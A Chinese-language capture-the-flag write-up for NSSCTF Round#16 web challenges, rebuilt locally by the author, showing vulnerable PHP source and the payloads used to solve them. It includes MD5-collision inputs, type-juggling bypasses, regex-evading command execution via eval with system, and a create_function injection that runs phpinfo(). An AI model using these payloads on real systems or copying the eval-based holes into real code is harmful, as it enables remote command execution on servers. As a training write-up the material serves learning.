NSSCTF Round#16 Basic Web (本地搭的)
对唔住啊,很抱歉各位 我是看别人打的然后拖的几个代码自己本地搭建的
和原题 要阔难唔太呀yong
RCE但是没有完全RCE
点击查看代码
<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
echo $level2;
} else {
echo "您!!!!!那么现在阁下又该如何应对呢";
}
} else {
echo "还在用传统方法????";
}
} else {
echo "来做做熟悉的MD5~";
}
#RCE但是没有完全RCE 第一题 来做做熟悉的MD5~
?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
POST:md5_3=s214587387a
继续访问 3z_RC3.php
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$shell = $_POST['shell'];
$cmd = $_GET['cmd'];
if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){die("Hacker!!!!!!!!");
}
eval($shell($cmd));
通过构建payload发现存在读取 只是flag几个字符被过滤
通过查询,可以用?cmd=dir
来代替ls
(真的很抱歉,是自己搭建的 目录都丢一起的)
我不知道比赛的flag是怎么样的,自己本地随便搞得
payload1:?cmd=more [e-h][k-m][@-z][e-h].php POST:shell=system
得查看源码出
payload2:?cmd=vim [e-h][k-m][@-z][e-h].php POST:shell=system
ctrl U:
有个牛的师傅用这样的payload也出了
?cmd=system($_POST[1]);
POST:shell=urldecode&1=tac f*
他说:这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。
了解过PHP特性吗
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
#了解过PHP特性吗 (第二题)
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
echo "Hello World!";
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
echo "3";
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
echo "4";
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
echo "5";
}
}
开始看第一关
不能用数字,加个 [] 即可
payload:?num[]=1
第二关:
说什么巴拉巴拉的一堆,要纯数字和字母的。。emmm,找到了个文章,试了不行 只能看别人的payload,要rev一下 不懂 (知道的师傅留言教教呗,)
ctype_alpha()函数做纯字符检测;is_numeric() 函数用于检测变量是否为数字或数字字符串。
payload:POST:ctype=OZDCKNQ&is_num=710269512e0
第四关
intval
这个函数之前做题碰见过 改成和他差不多就行
114=9e5,,,,后面的9999999改成比他大加个字母就好咯
payload:114=9e5 POST:514=9999999999a
第五关
通过阅读在array后面加个'[]',后面的NSS前面加任意个字符或符号就可
arr4y[]=aNSS
最后全部的payload全部丢进原来那里
payload:?num[]=1&114=9e5
POST:ctype=OZDCKNQ&is_num=710269512e0&514=9999999999a&arr4y[]=aNSS
访问Rc3_function.php
create_function这个函数有篇文章,会创建一个什么东西然后把前面满足条件闭合加上;}phpinfo();/*
payload:shell=&nss=1;}phpinfo();/*
累了,不想找flag了。拿到phpinfo();就行 哈哈哈哈哈啊做咩耶啊